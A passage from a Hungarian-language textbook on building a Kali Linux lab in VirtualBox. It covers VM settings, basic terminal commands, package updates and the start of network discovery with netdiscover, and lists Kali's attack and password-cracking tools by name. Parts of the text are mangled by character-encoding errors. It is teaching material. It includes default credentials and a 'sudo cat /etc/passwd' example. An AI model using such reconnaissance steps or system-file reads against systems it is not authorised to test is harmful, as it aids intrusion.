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5. ábra Az Oracle WN telepítése 

A helyes mŤkºd®shez egy kiterjeszt®st (extension pack) is le kell töltenünk, 

Figyeljünk arra, hogy ennek a verziószáma megegyezzen a VirtualBox verziójával 

(v6.1). 

A telepítést az alábbi parancssorral végezhetjük el: 

vboxmanage extpack install 
"c: \ Users \ Oliver \ Downloads\ Oracle_VM_VirtualBox_Extension_Pack - 6.1.16.gz"  



A SZÁMÍTÓGÉPES KÖRNYEZET KIALAKÍTÁSA  

 

 20 

 

KALI LINUX TELEPÍTÉSE 

Készítsünk egy új virtuális gépet. Adjunk hozzá virtuális tárhelyet, legalább 80GB 

tárhelyre szükségünk lesz. Az operációs rendszer legyen Debian Linux. 

 

  
6. ábra Kali Linux telepítése 

A be§ll²t§sokat j·l mutatja a kºvetkezŖ §bra: 

 

7. ábra A beállítások alkalmazása  

Az §br§n l§that· Kali Linux virtu§lis g®p k¿lºnf®le be§ll²t§sai a kºvetkezŖ c®lokat 

szolgálják: 

General (Általános): 
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Név: A virtuális gép neve, ebben az esetben "Kali Linux". Segít a VM-ek 

azonosításában a VirtualBox-ban. 

Operációs rendszer: "Debian (64-bit)" ï Meghatározza a VirtualBox számára, hogy 

milyen operációs rendszer fut a virtuális gépen. Ez optimalizálja a kompatibilitást és 

a teljesítményt. 

System (Rendszer): 

Alap memória: A virtuális gép számára lefoglalt RAM-mennyiség, itt 2048 MB. Ez 

biztos²tja a rendszer stabil mŤkºd®s®t ®s befoly§solja a sebess®get, k¿lºnºsen, ha tºbb 

alkalmazás fut egyszerre. A minimális memóriaigény meghatározása függ a 

gazdagép hardverkonfigurációtól. A memória beállítható a Motherboard fülön a 

System panelen. Legyen legalább 2048 MB. 

Boot sorrend: Meghat§rozza, hogy a virtu§lis g®p milyen eszkºzºkrŖl pr·b§l elŖszºr 

bootolni (Floppy, Optical, Hard Disk). Ez a sorrend hasznos lehet p®ld§ul egy telep²tŖ 

ISO-ról való indításhoz. 

Gyorsítás (Acceleration): Az itt engedélyezett VT-x/AMD-V, Nested Paging és 

KVM Paravirtualization be§ll²t§sok lehetŖv® teszik a hardveres virtualiz§ci·t, ami 

növeli a VM teljesítményét és stabilitását. 

Display (KijelzŖ): 

Videó memória: A virtuális gép számára rendelkezésre álló videó memória 

mennyisége (16 MB). Ez befolyásolja a grafikák megjelenítését és az interfész 

sebességét. 

Grafikus vez®rlŖ: A v§lasztott grafikus vez®rlŖ t²pusa (VMSVGA), amely 

optimaliz§lja a grafik§t ®s a kijelzŖ teljes²tm®ny®t. 

3D gyorsítás: Ezen opció letiltásával a rendszer nem használ extra hardveres 3D 

gyors²t§st, ami egyszerŤbb grafikai alkalmaz§sok eset®n megfelelŖ. 

Storage (Tárolás): 

Vez®rlŖ: IDE/SATA: Meghat§rozza a virtu§lis g®pben haszn§lt lemezvez®rlŖ t²pus§t. 

Az IDE vez®rlŖ gyakran az optikai meghajt·khoz van rendelve, m²g a SATA 

általában a merevlemezekhez. 

Virtu§lis merevlemez: A "Kali Linux.vdi" nevŤ virtu§lis merevlemez 80 GB 

kapacitású, amely a rendszerfájlok és a felhasználói adatok tárolására szolgál. 

Audio (Hang): 

Host Driver: Meghatározza, hogy a virtuális gép milyen hangmeghajtót használjon a 

gazdarendszerben (itt Windows DirectSound). 
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Kontroller: Az ICH AC97 hangkártya emulálása biztosítja, hogy a virtuális gépen 

keresztül hangot lehessen lejátszani. 

Network (Hálózat): 

Adapter típusa és módja: Az Intel PRO/1000 MT Desktop hálózati adapter NAT 

m·dban van be§ll²tva. Ez lehetŖv® teszi, hogy a virtu§lis g®p az internethez ®s a helyi 

hálózathoz kapcsolódjon a gazdagépen keresztül, anélkül hogy közvetlen hálózati 

hozzáférést igényelne. 

USB: 

USB vez®rlŖ: Az OHCI ®s EHCI vez®rlŖkkel az USB 1.1 ®s 2.0 eszkºzºk t§mogat§sa 

van enged®lyezve. Ez lehetŖv® teszi USB-eszközök csatlakoztatását a virtuális 

géphez, például pendrive-okat, amelyek haszn§lata elŖseg²ti a f§jlok gyors §tvitel®t. 

Ezek a beállítások optimalizálják a Kali Linux virtuális gép teljesítményét, 

funkcionalitását és kompatibilitását, miközben biztosítják, hogy a gép biztonságosan, 

elk¿lºn²tve ®s az alapvetŖ erŖforr§sok hat®kony kihaszn§l§s§val mŤkºdjºn. 

Kattintsunk a beállításokra (settings). Az általános (general) panelen válasszuk az 

Advanced feliratút és engedélyezzük a megosztott vágólap és a Kétirányú fogd-és-

vidd opci·kat (Shared Clipboard ®s DragônôDrop as Bidirectional.) 

 

8. ábra A megosztott vágólap engedélyezése 

A Kali Linux virtuális telepítéséhez szükséges, hogy a VirtualBox-on belül 

engedélyezzük az optikai meghajtót, mivel így csatlakoztathatunk egy telepítési .iso 

f§jlt, amelyrŖl a rendszer elindulhat ®s telep²thetŖ. Ehhez a VirtualBox 

kezelŖfel¿let®n a Kali Linux virtuális gép kiválasztása után a ĂSettingsò (Beállítások) 

menüpontra kell kattintani. A beállításokban a "Storage" (Tárolás) fülön található 

"IDE Controller" alatt látható egy ĂEmpty (Üres) bejegyzés. Erre kattintva, majd a 

Ăjobb oldali lemez ikonra kattintva választható ki a ĂChoose a disk fileò (Lemezfájl 

kiv§laszt§sa) opci·, amellyel megadhat· a kor§bban letºltºtt Kali Linux telep²tŖ .iso 

fájl. Az optikai meghajtó csatlakoztatása után fontos, hogy a boot sorrendben ez 

legyen az elsŖ helyen, ²gy a virtu§lis g®p errŖl ind²that· el, ®s a telep²t®si folyamat 

megkezdhetŖ. 
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9. ábra Az optikai meghajtó engedélyezése 

A processzorok száma közvetlenül befolyásolja a virtuális gép teljesítményét. Ha 

több processzormagot rendelünk a virtuális géphez, az képes nagyobb 

párhuzamosítás mellett, gyorsabban futtatni a feladatokat, különösen a több szálon 

futó alkalmazások esetében. A Kali Linux rendszer egyes eszközei ezt ki fogják 

haszn§lni. A felhaszn§l·nak ez gyorsabb v§laszidŖt, jobb erŖforr§s-kezelést és 

gºrd¿l®kenyebb mŤkºd®st eredm®nyezhet. 

Ugyanakkor, ha túl sok processzormagot rendelünk a virtuális géphez, az ronthatja a 

gazda oper§ci·s rendszer teljes²tm®ny®t, mivel kevesebb erŖforr§s marad a rendszer 

többi folyamatának. Így a beállítás során mindig figyelembe kell venni a 

gazdarendszer processzorainak számát, és olyan megosztást kell alkalmazni, amely 

biztosítja, hogy mind a virtuális gép, mind a gazda rendszer hatékonyan 

mŤkºdhessen. A rendelkez®sre §ll· processzorok sz§m§t a be§ll²t· s§v zºld mezŖje 

jelzi. Használjunk legalább 2 processzort (CPU).  
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10. ábra A CPU számának beállítása 

A VM videó memória beállítása azért fontos, mert meghatározza, hogy a virtuális gép 

mennyi mem·ri§t haszn§lhat grafikai feladatokhoz, p®ld§ul a k®pernyŖ 

megjelenítéséhez és a grafikai elemek feldolgozásához. Minél több videó memória 

áll rendelkezésre, annál gördülékenyebb és gyorsabb lesz a grafikai feladatok 

végrehajtása, különösen, ha a virtuális gépen grafikai alapú alkalmazásokat vagy 

komplexebb vizuális elemeket (például 3D-s gyorsítást) futtatunk. 

Ha t¼l kev®s vide· mem·ri§t §ll²tunk be, a grafikai elemek lassan tºltŖdhetnek be, 

akadozhatnak, vagy az interfész reakcióideje lelassulhat. Ez a használati élményt 

ronthatja, és a virtuális gépen futtatott programok használata is nehezebbé válhat, 

különösen, ha olyan környezetben dolgozunk, mint Kali Linux, amelyben vizuális 

visszajelzések és felületek gyors betöltése is szükséges lehet. A video memória 

legalább 128 MB legyen. 

 

11. ábra A videó memória beállítása 

Az elsŖ ind²t§skor, amikor a virtu§lis g®pen szeretn®nk telep²teni a Kali Linuxot, 

szükség van a telepítési ISO fájl megadására. Az ISO fájl egy olyan lemezképfájl, 

amely az oper§ci·s rendszer telep²tŖf§jljait tartalmazza, ®s gyakorlatilag egy fizikai 

telep²tŖ DVD vagy USB meghajt· digit§lis m§solata. Mivel a virtu§lis g®pek nem 

rendelkeznek fizikai optikai meghajtóval, a telepítéshez az ISO fájlt egy virtuális 

optikai meghajtóba kell csatlakoztatni. 
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Ahhoz, hogy a Kali Linux rendszer elinduljon a telepítési folyamat során, a 

VirtualBox beállításaiban hozzá kell rendelni ezt az ISO fájlt az optikai meghajtóhoz. 

Ez azzal jár, hogy a VirtualBox a csatlakoztatott ISO fájlt úgy kezeli, mintha az egy 

fizikai DVD lenne, amelyrŖl a rendszer ind²that·. 

 

12. ábra A Kali Linux telep²tŖlemez®nek megad§sa 

A telepítésnek van olyan módja is, hogy letöltünk egy már elkészített virtuális gépet. 

AZ ELSŕ FUTTATĆS 

A sikeres telepítés után a virtuális gépet dupla kattintással futtathatjuk. A Kali Linux 

korábbi verzióiban az alapértelmezett felhasználónév és jelszó root / toor volt. Ez a 

root felhasználó rendszergazdai jogosultságokkal rendelkezik, vagyis teljes 

hozzáférése van a rendszerhez, így telepíthet, törölhet, konfigurálhat programokat és 

módosíthat rendszerfájlokat. A root felhasználó korlátlan jogosultsága miatt nagyon 

erŖs hat§skºrrel rendelkezik, ami biztons§gi kock§zatot jelenthet, ha nem 

megfelelŖen használják. 

Az újabb Kali Linux verziókban (2019-tŖl kezdve) megv§ltoztatt§k az 

alapértelmezett felhasználói modellt. Az alapértelmezett felhasználó most már egy 

nem-root (normál) felhasználó, akinek a jelszavát a telepítés során kell megadni, 

elŖtelep²tett rendszereknél az alapértelmezett felhasznŤl·i n®v / jelszó? kali/kali. Ez 

a felhasználó a sudo parancs segítségével szerezhet rendszergazdai jogosultságokat, 

így biztonságosabbá vált a rendszer, mivel csak a szükséges esetekben férhet hozzá a 

rendszergazdai funkciókhoz. 

 

13. §bra A Kali bejelentkez®si k®pernyŖje 
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A kezdŖk®pernyŖ: 

 

14. §bra Kali Linux kezdŖk®pernyŖ 

Az elsŖ futtat§skor a Devices menuben v§lasszuk az Insert Guest additions CD 

opci·t. Ez egy virtu§lis CD lemezt mountol be, amelyen telep²tŖf§jlok vannak. Jobb 

egérgomb kattintással nyissunk meg egy parancssori terminált. Gépeljük be, hogy  

sudo su   

 

Igy rendszergazda jogosultságot szerzünk a jelszó beírása után. Az alábbi parancssor 

telepíti a szükséges kiterjesztést: 

bash ./ VBoxLinuxAdditions . run  

 

A Guest Additions CD a VirtualBox egy olyan kiegészítése, amely számos hasznos 

funkciót biztosít- Ezek javítják a felhasználói élményt és a használhatóságot. Kali 

Linux eset®n a Guest Additions CD a kºvetkezŖ elŖnyºket ny¼jtja: 

K®pernyŖfelbont§s automatikus m®retez®se: A Guest Additions telep²t®se ut§n a Kali 

Linux automatikusan illeszkedik a VirtualBox ablakának méretéhez, így a 

felhaszn§l·nak nem kell manu§lisan be§ll²tania a k®pernyŖfelbont§st. Ez 
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kényelmesebb használatot biztosít, különösen akkor, ha a virtuális gépet teljes 

k®pernyŖs m·dban vagy ablakban haszn§lj§k. 

K®pernyŖmegoszt§s ®s tºbbmonitoros t§mogat§s: A Guest Additions lehetŖv® teszi, 

hogy a virtu§lis g®p tºbb monitort is kezeljen, valamint a kijelzŖk kºzºtti 

zºkkenŖmentes §tv§lt§st. Ez akkor hasznos, ha a felhaszn§l· tºbb monitorral 

dolgozik, és ezeken meg szeretné osztani a virtuális gépet. 

Egérmutató integráció: A Guest Additions telepítése után az egérmutató 

automatikusan mozog a gazdagép és a virtuális gép között, anélkül hogy 

"megragadna" a virtuális gép ablakában. Ez megkönnyíti a két rendszer közötti 

munkát, mivel az egérmutató szabadon §tvihetŖ a gazdag®p ®s a virtu§lis g®p kºzºtt. 

Kºnyvt§rmegoszt§s: LehetŖv® teszi a gazdag®p ®s a virtu§lis g®p kºzºtti mapp§k 

megosztását, így könnyebb fájlokat és adatokat mozgatni a két rendszer között. Ez 

különösen hasznos fájlkezeléshez és adatok átviteléhez, mivel nem kell külön 

hálózati beállításokat alkalmazni. 

V§g·lap megoszt§sa: A v§g·lap megoszt§s§nak kºszºnhetŖen lehetŖs®g van 

szövegek és egyéb adatok másolására és beillesztésére a gazda és a virtuális gép 

között. Ez nagyban megkönnyíti a különféle adatok, például parancsok, URL-ek vagy 

egyéb információk gyors átvitelét. 

A h§l·zati el®r®st egy browser megnyit§s§val ellenŖrizhetj¿k. Ez egy kiváló alkalom 

a Kali forum [[3] megtekintésére.  

WINDOWS VIRTUÁLIS GÉP LETÖLTÉSE 

ElŖre telep²tett Windows 10 / Windows 11 példányokat tölthetünk le az al§bbi helyrŖl 

https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/ 

HIVATKOZÁSOK  

[1] https://download.virtualbox.org/virtualbox/6.1.16/UserManual.pdf 

[2] https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-

enterprise#Get-started 

[3] https://forums.kali.org/ 

 

  

https://download.virtualbox.org/virtualbox/6.1.16/UserManual.pdf
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise#Get-started
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise#Get-started
https://forums.kali.org/
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BEVEZETÉS A KALI L INUX  

HASZNÁLATÁBA  

A FELHASZNÁLÓI FELÜLET 

A Kali Linux sok teszt eszközzel rendelkezik, ezek kiadásról kiadásra változnak. 

Ebben a fejezetben bemutatjuk, hogyan lehet ezeket el®rni a felhaszn§l·i fel¿letrŖl. 

Amikor elŖszºr megnyitjuk a Kali Linuxot, egy üres asztalt látunk. Felül helyezkedik 

el a tálca, rajta 5 ikon. 

 

15. ábra A tálca 

A kºz®psŖ ikon hasonl²t a Windows rendszer®hez, a gyakran haszn§lt kºnyvt§rak 

®rhetŖk el: Documents, Downloads, Pictures (dokumentumok, letöltések, képek). stb. 
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16. §bra Az elŖretelep²tett alkalmaz§sok  

A baloldali ikon a Kali men¿j®t nyitja meg. Itt tal§lhat·k az elŖre telep²tett 

alkalmaz§sok, rendszereszkºzºk. A kºvetkezŖ t§bl§zat megmutatja ezeket az 

eszközöket, [1] pedig r®szletes le²r§st kºzºl azokr·l. A felsŖ sor egy keresŖmezŖ, az 

alkalmaz§sok gyorsan el®rhetŖk a seg²ts®g®vel. A Kali eszkºzei csoportos²tva: 
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LƴŦƻǊƳłŎƛƽ ƎȅǼƧǘǃ ŜǎȊƪǀȊǀƪ {ŜōŜȊƘŜǘǃǎŞƎŜǘ 
ŜƭƭŜƴǃǊȊǃ ŜǎȊƪǀȊǀƪ 

Stress ǘŜǎȊǘŜƭǃ 
eszközök 

WŜƭǎȊƽ ǘǀǊǃ ŜǎȊƪǀȊǀƪ Exploitation eszközök 

ace-voip 
Amap 
APT2 
arp-scan 
Automater 
bing-ip2hosts 
braa 
CaseFile 
CDPSnarf 
cisco-torch 
copy-router-
config 
DMitry 
dnmap 
dnsenum 
dnsmap 
DNSRecon 
dnstracer 
dnswalk 
DotDotPwn 
enum4linux 
enumIAX 
EyeWitness 
Faraday 
Fierce 
Firewalk 
fragroute 
fragrouter 
Ghost Phisher 
GoLismero 
goofile 
hping3 
ident-user-enum 
InSpy 

InTrace 
iSMTP 
lbd 
Maltego Teeth 
masscan 
Metagoofil 
Miranda 
nbtscan-unixwiz 
Nikto 
Nmap 
ntop 
OSRFramework 
p0f 
Parsero 
Recon-ng 
SET 
SMBMap 
smtp-user-enum 
snmp-check 
SPARTA 
sslcaudit 
SSLsplit 
sslstrip 
SSLyze 
Sublist3r 
THC-IPV6 
theHarvester 
TLSSLed 
twofi 
Unicornscan 
Wireshark 
WOL-E 
Xplico 

BBQSQL 
BED 
cisco-auditing-tool 
cisco-global-exploiter 
cisco-ocs 
cisco-torch 
copy-router-config 
Doona 
DotDotPwn 
HexorBase 
jSQL Injection 
Lynis 
Nmap 
ohrwurm 
openvas 
Oscanner 
Powerfuzzer 
sfuzz 
SidGuesser 
SIPArmyKnife 
sqlmap 
Sqlninja 
sqlsus 
THC-IPV6 
tnscmd10g 
unix-privesc-check 
Yersinia 

DHCPig 
FunkLoad 
iaxflood 
Inundator 
inviteflood 
ipv6-toolkit 
mdk3 
Reaver 
rtpflood 
SlowHTTPTest 
t50 
Termineter 
THC-IPV6 
THC-SSL-DOS 

BruteSpray 
Burp Suite 
CeWL 
chntpw 
cisco-auditing-tool 
CmosPwd 
creddump 
crowbar 
crunch 
findmyhash 
gpp-decrypt 
hash-identifier 
Hashcat 
HexorBase 
THC-Hydra 
John the Ripper 
Johnny 
 

keimpx 
Maltego Teeth 
Maskprocessor 
multiforcer 
Ncrack 
oclgausscrack 
ophcrack 
PACK 
patator 
phrasendrescher 
polenum 
RainbowCrack 
rcracki-mt 
RSMangler 
SecLists 
SQLdict 
Statsprocessor 
THC-pptp-bruter 
TrueCrack 
WebScarab 
wordlists 
zaproxy 

Armitage 
Backdoor Factory 
BeEF 
cisco-auditing-tool 
cisco-global-exploiter 
cisco-ocs 
cisco-torch 
Commix 
crackle 
exploitdb 
jboss-autopwn 
Linux Exploit Suggester 
Maltego Teeth 
Metasploit Framework 
MSFPC 
RouterSploit 
SET 
ShellNoob 
sqlmap 
THC-IPV6 
Yersinia 
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Az alapvetŖ Kali Linux terminal parancsok 

Tudhatjuk, hogy minden Linux disztribúció esetén a parancssori k®pernyŖ (terminal) igen fontos. A 

Command Line Interface (CLI) eléréséhez a Favorites | Terminal emulator menü szolgál, vagy felül a 

negyedik ikon balról. Sok menüben a jobb egérgombra felugró helyi menüben is megnyithatjuk a 

terminált.  

Hogy kipr·b§ljuk a mŤkºd®s®t, ²rjuk be, hogy: 

echo ƪHello  Worldƨ 

 

 

17. ábra Parancssori interakció 

A parancs kiad§sa ut§n Enter billentyŤt kell nyomni. A kimenet a kºvetkezŖ sorokban jelenik majd 

meg. 

sudo  

A sudo parancs a "SuperUser Do" rövidítése. Gyakori parancs, ha valamilyen utasításnak root 

privilégiumokkal kell futnia, akkor a sudo-t használjuk. 

Például, ha a passwords (jelszavak) fájlt akarjuk megnézni, ehhez root jogosultság kell. Az utasítás: 

sudo cat / etc / passwd.   

 

 

18. ábra  

A parancs kiadása után a Kali kéri a root jelszavát. A r§kºvetkezŖ parancsok m§rt Ăsimaò felhaszn§l·i 

jogosultsággal fognak futni. A tartós root jogosultsághoz az alábbi  

sudo su  

parancsot kell kiadni. Figyeljük meg, hogy a prompt átváltozik # jellé amikor root jogosultságunk van. 
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19. ábra Rendszergazdai jogosultság 

pwd 

A pwd (print work directory) parancs az abszol¼t ¼tvonalat mutatja, azaz a gyºk®rbŖl kiindul· 

¼tvonalat. A gyºk®r a Linux f§jlrendszer®nek alapja. Az elŖrefel® mutat· perjel ( / ) a jele. A 

felhasználói könyvtár pedig valami olyasmi, mint Ă/home/kali" ï ahol Ăkaliò a felhaszn§l·i név. 

 

20. ábra Ab abszolút útvonal lekérése 

ls 

Az ls parancs kilistázza annak a könyvtárnak a tartalmát, ahol vagy.; -a parameter a rejtett fájlokat is 

kiírja, míg a -l kapcsoló hosszú listázási formátumot ad.  

 

21. ábra Aktuális könyvtár tartalmának kilistázása 
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cd 

A könyvtárváltás a CD paranccsal lehetséges. Ha a terminálban elkezdjük a gépelést, akkor a begépelt 

szºveggel kezdŖdŖ kºnyvt§r nevek megjelennek. Ez az automatikus kitºlt®s funkci· nagyon hasznos. 

A könyvtárstruktúrában felfelé lépni a cd .. paranccsal lehet. A perjel a gyökér könyvtárat jelenti. 

 

22. ábra könyvtárváltás 

mkdir, rmdir 

Az mkdir és rmdir parancsok a fájlrendszerben végzett mappakezelésre szolgálnak. 

Az mkdir (make directory) parancs segítségével új könyvtárat hozhatunk létre az aktuális 

munkakönyvtárban vagy bármely megadott útvonalon. Például a mkdir uj_konyvtar parancs egy 

"uj_konyvtar" nevŤ mapp§t hoz l®tre az aktu§lis kºnyvt§rban. Az mkdir parancs több mappa egyszerre 

tºrt®nŖ l®trehoz§s§ra is alkalmas, ²gy a mkdir konyvtar1 konyvtar2 konyvtar3 paranccsal egyszerre 

három új könyvtár is létrehozható. 

Az rmdir (remove directory) parancs az üres könyvtárak törlésére szolgál. Csak olyan könyvtárat 

távolíthat el, amely nem tartalmaz fájlokat vagy almappákat. Például a rmdir uj_konyvtar parancs 

eltávolítja az "uj_konyvtar" mappát, ha az üres. Ha a könyvtár nem üres, a rmdir parancs hibát ad vissza, 

®s a kºnyvt§r nem tºrlŖdik. 

Ha egy nem üres könyvtárat szeretnénk eltávolítani, egy másik parancsot kell használni, például az  

rm -r parancsot, amely rekurzívan törli a könyvtár tartalmát is. 
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23. ábra Könyvtár létrehozása és törlése 

rm 

Az rm parancs a f§jlok ®s kºnyvt§rak tºrl®s®re szolg§l a f§jlrendszerben. AlapvetŖ mŤkºd®se egyszerŤ 

f§jlok elt§vol²t§s§ra alkalmas, de a kapcsol·k seg²ts®g®vel ºsszetettebb tºrl®si mŤveleteket is 

végrehajthatunk. 

EgyszerŤ f§jltºrl®s: Az rm fajl.txt parancs p®ld§ul tºrli a "fajl.txt" f§jlt az aktu§lis kºnyvt§rb·l. 

Rekurzív törlés: Ha egy könyvtárat és annak teljes tartalmát szeretnénk törölni, a -r kapcsolót 

használjuk, például rm -r konyvtar_neve. Ezzel a parancs a megadott kºnyvt§rban l®vŖ ºsszes f§jlt ®s 

alkönyvtárat eltávolítja, akár azok üresek, akár nem. 

Interaktív törlés: Az -i kapcsol· haszn§lata az interakt²v tºrl®shez biztos²t megerŖs²t®st minden f§jl 

tºrl®se elŖtt, ²gy elker¿lhetŖek a v®letlen tºrl®sek. P®ld§ul rm -i fajl.txt minden tºrl®si mŤvelet elŖtt 

megkérdezi, hogy valóban szeretnénk-e törölni az adott fájlt. 

ErŖltetett tºrl®s: A -f kapcsol· (force) seg²ts®g®vel az rm parancs megerŖs²t®s n®lk¿l, erŖltetve tºrºl 

fájlokat, akkor is, ha azok írásvédettek. Ez különösen a -r kapcsolóval együtt használva hasznos lehet, 

például rm -rf konyvtar_neve, amely az összes fájlt és alkönyvtárat visszakérdezés nélkül eltávolítja a 

megadott könyvtárban. 

Fontos megjegyezni, hogy az rm parancs által végzett törlés nem visszavonható; a fájlok véglegesen 

tºrlŖdnek, ®s nem helyezhetŖk vissza a Lomt§rb·l, ²gy kºr¿ltekintŖen kell haszn§lni, k¿lºnºsen a -rf 

kapcsolókkal.  

cp 

A cp parancs a f§jlok ®s kºnyvt§rak m§sol§s§ra szolg§l a f§jlrendszerben. AlapvetŖen k®t param®tert 

vesz fel: az elsŖ a forr§sf§jl vagy -könyvtár, a második pedig a célfájl vagy -könyvtár, ahova a 

másolandó elemet helyezzük. 

EgyszerŤ f§jlm§sol§s: Az cp forras.txt cel.txt parancs a "forras.txt" f§jlt m§solja az aktu§lis kºnyvt§rban 

"cel.txt" néven, így egy új másolatot hoz létre "cel.txt" néven. 

Könyvtárak másolása: Ha egy teljes könyvtárat szeretnénk másolni annak tartalmával együtt, a -r 

(rekurzív) kapcsolót kell használnunk. A cp -r forras_konyvtar cel_konyvtar parancs a 

"forras_konyvtar" teljes tartalmát (beleértve az almappákat és fájlokat) m§solja "cel_konyvtar" nevŤ 

könyvtárba. 

Interaktív másolás: Az -i kapcsol· interakt²v m·dban mŤkºdik, azaz ha a c®lkºnyvt§rban m§r l®tezik 

azonos nevŤ f§jl, a cp megk®rdezi, hogy fel¿l²rja-e. Például cp -i forras.txt cel.txt esetén, ha "cel.txt" 

m§r l®tezik, megerŖs²t®st k®r a fel¿l²r§s elŖtt. 
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MegŖrz®s: A -p kapcsol· a f§jlok eredeti tulajdons§gait (p®ld§ul a m·dos²t§si idŖt ®s a jogosults§gokat) 

megtartja a másolt fájlban. Így a cp -p forras.txt cel.txt parancs eset®n a m§solt f§jl megŖrzi az eredeti 

fájl beállításait. 

mv 

Az mv parancs a fájlok és könyvtárak áthelyezésére vagy átnevezésére szolgál a fájlrendszerben. Az 

mv parancs alapvetŖen k®t param®tert fogad: az elsŖ a forr§sf§jl vagy -könyvtár, a második pedig a 

célfájl vagy -könyvtár, ahová az elemet áthelyezzük vagy átnevezzük. 

Átnevezés: Az mv regi_nev uj_nev parancs a "regi_nev" fájlt vagy könyvtárat "uj_nev"-re nevezi át az 

aktuális könyvtárban. Ez hasznos, ha egy fájl vagy könyvtár nevét szeretnénk megváltoztatni. 

Áthelyezés: Az mv fajl.txt /cel_konyvtar/ parancs áthelyezi a "fajl.txt" fájlt a megadott "/cel_konyvtar/" 

könyvtárba. Ha az új helyen más néven szeretnénk menteni a fájlt, akkor a célútvonalban új nevet is 

megadhatunk, például mv fajl.txt /cel_konyvtar/uj_fajl.txt. 

Könyvtárak áthelyezése: Az mv használható teljes könyvtárak áthelyezésére is, például az mv 

forras_konyvtar /uj_hely paranccsal a "forras_konyvtar" mappát és annak teljes tartalmát áthelyezzük 

az "/uj_hely" mappába. 

Az mv parancs nem készít másolatot a fájlokról vagy könyvtárakról, hanem az eredeti fájl vagy 

kºnyvt§r ¼j helyen lesz el®rhetŖ, vagy ¼j n®ven jelenik meg, ha §tnevez®st hajtottunk v®gre. 

 

24. §bra F§jlmŤveletek 

chmod 

A chmod használatával a fájlhoz adott engedélyeket lehet módosítani. Linux alatt a végrehajtási az 

olvasási és írási engedélyek vannak. 

Vegyük például az ls -al parancsot. Minden sorban az elsŖ karakter vagy d, amely egy kºnyvt§rat jelent, 

vagy egy kºtŖjel, amely egy f§jlt jelºl. A kºvetkezŖ kilenc karakter a h§rom enged®lycsoport beállításait 

jelenti: 
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¶ Az elsŖ h§rom karakter a felhaszn§l·i jogosults§gokat mutatja. 

¶ A kºz®psŖ h§rom karakter a csoport jogosults§gait mutatja. 

¶ Az utolsó három karakter a többi felhasználó jogosultságait mutatja. 

A betŤk jelent®se a kºvetkezŖ: 

¶ r: Read, azaz olvas§si jogosults§g. A f§jl megnyithat·, ®s a tartalma megtekinthetŖ 

¶ w: Write, azaz ²r§si jogosults§g. A f§jl szerkeszthetŖ, m·dos²that· ®s tºrºlhetŖ. 

¶ x: Execute, azaz végrehajtási jogosultság. Ha a fájl szkript vagy program, akkor futtatható 

(végrehajtható). 

man, -help 

A súgó kézikönyvet a man (manual) utasítással lehet elérni. A leíráson kívül felhasználási példákat is 

ad a parancsokról. Például az rm parancs súgója így néz ki: 

man rm   

 

25. ábra Az rm parancs súgója 

KALI LINUX FRISSÍTÉSE 

Az /etc/apt/sources lista tartalmazza a Kali Linux adatt§rak list§j§t. ErŖsen aj§nlott, hogy csak a 

hivatalos adattárakat használjuk. 

Az alkalmazáscsomagok indexeinek listáját az alábbi utasítás frissíti: 

sudo apt update  

Legfrissebb csomaginformációk: Az apt update friss²ti a csomagok list§j§t, amely lehetŖv® teszi a 

legújabb verziók és javítások telepítését. Ez különösen fontos Kali Linuxnál, amelyet gyakran 

használnak biztonsági tesztelésre és etikus hackelésre, hiszen a legújabb eszközök és frissítések kritikus 

szerepet játszanak a naprakész és hatékony munkában. 

Biztonsági javítások: A friss csomaglistával a rendszer hozzáfér a legújabb biztonsági javításokhoz, 

amelyek csºkkentik a sebezhetŖs®geket. Ez kiemelten fontos egy olyan oper§ci·s rendszer eset®ben, 

mint Kali Linux, ahol ®rz®keny mŤveleteket v®geznek, ®s fontos a rendszer biztonságának fenntartása. 



BEVEZETÉS A KALI LINUX HASZNÁLATÁBA   

 

 37 

 

Kompatibilitás és stabilitás: Az apt update biztosítja, hogy minden szoftvercsomag naprakész legyen, 

amely javítja a rendszer stabilitását és kompatibilitását, különösen akkor, ha új eszközöket telepítünk 

vagy frissítünk. 

Friss²tett f¿ggŖs®gek ®s kºnyvt§rak: Sok szoftver a leg¼jabb f¿ggŖs®gekkel mŤkºdik megfelelŖen, ®s 

az apt update gondoskodik arr·l, hogy ezek a f¿ggŖs®gek is naprak®szek legyenek. Ez minimaliz§lja az 

inkompatibilitási problémákat, különösen a biztonsági eszközök esetében. A frissítésre beütemezett 

csomagok megjelenítése: 

apt list -- upgradable  

Egy adott csomag frissítéséhez futtasd 

sudo apt install PACKAGE - NAME 

Az összes csomag frissítése egy munkamenet során: 

sudo apt upgrade  

Az elavult csomagok eltávolításához futtassuk az autoremove opcióval a parancsot: 

sudo apt autoremove  

A HÁLÓZAT FELDERÍTÉSE 

ElŖszºr meg kell hat§roznia a haszn§lt h§l·zatot. Erre az ifconfig parancs szolgál. 

ifconfig  

 

26. ábra A hálózat feltérképezése 

A válaszból az látszik, hogy az IP cím 192.168.1.102 az eth0 LAN hálózaton. 

A hálózat feltérképezésére a netdiscover parancsot használhatjuk:  

netdiscover  

Felhasználás: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-F filter] [-s time] [-c count] [-n 

node] [-dfPLNS] 
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  -i device: a hálózati eszköz 

  -r range: egy adott tartomány beolvasása az automatikus keresés helyett. 192.168.6.0/24,/16,/8 

  -l fileaz adott fájlban található tartományok listájának beolvasása 

  -p passive mode: passzív mód: ne küldjön semmit, cask szaglásszon 

  -m file: az ismert MAC címek és gazdagépnevek listájának beolvasása 

  -F filter: a pcap szŤrŖ kifejez®s testreszab§sa (alap®rtelmezett: "arp") 

  -s time: alv§si idŖ minden ARP k®r®s kºzºtt (ezredm§sodperc) 

  -c count: az egyes ARP k®r®sek elk¿ld®s®nek sz§ma (csomagveszt®ssel rendelkezŖ h§l·zatok eset®n) 

  -n node: a szkenneléshez használt utolsó forrás IP -oktett (2 -tŖl 253 -ig) 

  -d figyelmen k²v¿l hagyja az ñotthoniò konfigur§ci·s f§jlokat az automatikus keres®shez ®s a gyors 

módhoz 

  -f enged®lyezi a gyors ¿zemm·d¼ szkennel®st, sok idŖt takar²t meg, automatikus haszn§lathoz aj§nlott 

  -P nyomtatás olyan formátumban, amely alkalmas egy másik program elemzésére, és az aktív 

szkennelés után leáll 

  -L hasonló a -P -hez, de az aktív szkennelés befejezése után folytatja a szkennelést 

  -N Ne nyomtasson fejlécet. Csak akkor érvényes, ha a -P vagy -L engedélyezve van. 

